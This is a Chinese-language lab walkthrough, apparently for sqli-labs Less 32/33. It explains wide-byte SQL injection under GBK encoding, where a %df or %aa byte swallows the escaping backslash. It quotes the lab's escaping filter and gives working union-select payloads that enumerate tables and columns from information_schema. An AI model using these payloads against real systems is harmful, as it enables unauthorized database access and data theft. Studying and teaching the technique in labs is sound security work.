1. 宽字节注入的原理
当mysql
使用的是gbk编码的时候,默认认为两个字符为一个汉字。(就是认为%xx%xx
为一个汉字,前一个ascii码要超过128)。而当网站过滤的机制是采用转义\
的时候,我们可以在网站添加的转义符号前面构造一个%xx
使得变成%xx%5c
而被mysql认为是一个汉字,从而绕过转义。
就比如当我们输入的单引号被过滤的时候:
默认情况下: 1' --+ --> 1\' --+
注入后: 1%df' --+ --> 1運' --+
那么语句就会变成
select * from users where id='1運' --+
也不知道什么原因,id
中的汉字不会影响查询的结果。
2. 题目分析
开始输入一个1'
发现我们的输入经过加工变成了1\\\'
。
解释一下:
1\\\'
中的第1和3个\
表转义,因此其实就是1\'
。这样一来我们构造的闭合'
就会被当成字符串处理,而不是当作id
的包裹,因此无法起到作用了。
接下来,看一下源码,看看还有哪些过滤:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
3. 注入过程
给出一个payload
?id=-1%aa' union select 1,2,3 --+
再来说一下1%aa'
的作用,我们输入的1%aa'
会变成1%aa\\\'
,而\
的url编码是%5c
,因此就是1%aa%5c%5c%5c'
,而由于mysql会认为%aa%5c
是一个汉字,所以到执行的时候就会被翻译为1X\\'
也就是1X'
(这里用X
代替汉字),就是吃掉了第一个转义\
,使得转义单引号的\
被转义掉了。
如果你还不理解的话,可以看一下下面的图:
也就是SQL语句查询的id
是-1猏\\
,使得我们填入的'
起到了闭合的作用。
最简单来理解就是我们输入的'
、"
以及\
都会被转义\
、\"
以及\\
。因此我们可以在被被转义的字符前输入一个%df
来吃掉转义符号,使得引号能够正常的起到闭合作用。
那么来看一下如何查表名,以及表中的字段。
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database()) --+
Less 33和32的payload相同。